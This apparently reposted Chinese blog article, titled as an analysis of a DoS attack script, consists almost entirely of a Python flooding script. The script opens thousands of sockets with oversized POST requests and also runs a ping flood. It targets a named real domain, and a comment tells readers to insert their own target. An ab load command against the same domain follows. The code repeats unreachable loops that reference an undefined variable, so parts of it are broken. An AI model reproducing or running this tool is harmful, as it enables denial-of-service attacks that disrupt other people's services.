小编给大家分享一下dos攻击脚本的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.zhaihongyu.tech"#在双引号里输入对方IP或域名,要保证他联网了或开机了.
PAGE="index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
import os
os.system("ping -n 100 -l 100 " + HOST)
socks=[]
def ddos():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
然后使用 ab 命令压测它的服务器 ab命令:做压力测试的工具和性能的监控工具 语法: ab -n 要产生的链接数总和 -c 同时打开的客户端数量 http://链接
ab -n 100000 -c 200 http://www.zhaihongyu.tech/index.php
以上是“dos攻击脚本的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注天达云行业资讯频道!